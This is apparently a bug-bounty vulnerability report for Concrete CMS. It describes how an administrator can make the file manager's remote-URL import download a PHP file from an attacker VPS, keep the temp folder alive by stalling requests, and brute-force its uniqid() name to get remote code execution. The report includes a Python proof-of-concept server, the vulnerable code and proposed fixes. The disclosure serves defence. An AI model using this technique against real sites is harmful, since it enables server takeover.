Concrete CMS · Report #1350444
A bypass of adding remote files in concrete5 FIlemanager leads to remote code execution
How it was found
Hi, I 'm currently testing the latest concretecms on my own pc and found some security problems of file manager.
Concretecms allows user to upload remote files via file manager. With some techniques to bypass restriction of this function, a evil user will be able to download arbitary php file into accessible file folder. Since the folder name is generated with uniqid(), bruteforcing 5-digits hex code can leads to the correct directory where our php file lies. Then you can just visit it to get RCE.
Privileges required: Administrator Magic word for submitting the report: crayons
Reproduce
- Login as a user with Administrator privileges.
- set up evil server: run
python3 server.pyon your remote VPS server. Here my python server is listening at port 8877.
{F1459853}
-
add following urls:The top evil link is to our webshell file
http://YOUR_VPS_IP:8877/byc.php, following multiplehttp://YOUR_VPS_IP:8877/stucklinks( 20+ can assure the execution time). {F1459871} -
wait 120 seconds for this process to send error. You can also see the log on your server.
{F1459875}
{F1459878}
- Check your website folder and find that the evil php script stays in a temp folder. You can directly access this file from browser.
(Although this directory name seems random, the name of it is actually generated by uniqid() with total length 13. The first 8 characters are actually the UTC timestamp of the time when you send request. So you can bruteforce the last 5 characters and access the exact folder where our file lies.)
{F1459887}
{F1459884}
Code analysis
The source code below in concrete/controllers/backend/file.php shows the main logic of my exploit. The server takes multiple urls as input, validate each of them and then download it.The error during this process will be collected and send in response at last.
$this->checkRemoteURlsToImport($urls);
$originalPage = $this->getImportOriginalPage();
$fi = $this->app->make(Importer::class);
$volatileDirectory = $this->app->make(VolatileDirectory::class);
foreach ($urls as $url) {
try {
$downloadedFile = $this->downloadRemoteURL($url, $volatileDirectory->getPath());
$fileVersion = $fi->import($downloadedFile, false, $replacingFile ?: $this->getDestinationFolder());
if (!$fileVersion instanceof FileVersionEntity) {
$errors->add($url . ': ' . $fi->getErrorMessage($fileVersion));
} else {
if ($originalPage !== null) {
$fileVersion->getFile()->setOriginalPage($originalPage->getCollectionID());
}
$importedFileVersions[] = $fileVersion;
}
} catch (UserMessageException $x) {
$errors->add($x);
}
}
The downloadRemoteURL function somehow allows url path like /byc.php. So php file will be written into directory.
{F1460016}
However, the directory will be deleted by the __destruct function of VolatileDirectory, it seems impossible to race condition and access our php file before deleted.
{F1459990}
So as long as we trigger an error before __destruct is called, we can keep our php file in that temp directory with enough time to bruteforce.
My idea is that, since the server has an execution time limit of 120s. We can just submit enough urls since the function won't throw an error until all the urls are processed, that's why I use python server to sleep 10 second each time it visit /stuck in my poc.
EXPLOIT="<?php phpinfo(); "
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
print(f'Current time: {datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")}')
self.send_response(200)
self.send_header("Content-type", "image/jpeg")
self.end_headers()
self.wfile.write(EXPLOIT.encode('utf-8'))
if self.path == "/stuck":
time.sleep(10)
So that's how I bypass the limit and successfully write a file into folder.
Possible Fix Method
- Disallow php file extension when writing it , although it will be deleted soon
- do not use
uniqidto create directory under/tempcause most chars of it can be deduced by the current time. Usemd5(uniqid())will make this exploit unable to bruteforce.
eg.
As it is shown above, the directory of my evil file lies is volatile-0-614daecb71435. Take the first 8 chars 614daecb and execute python code:
print(datetime.datetime.fromtimestamp(int('0x614daecb', 16), tz=datetime.timezone.utc))
#result: 2021-09-24 10:56:11+00:00
And you can check out the time when my server receives the first request: 2021-09-24 10:56:12 which is 1 second after the directory creates.
So user can easily get the time when directory creates.
Concluding, anyone get access to admin user will be able to write arbitary files into brute-forceable directory which leads to Remote Code Execution.
Thanks,
Best regards.
Impact
Remote Code Execution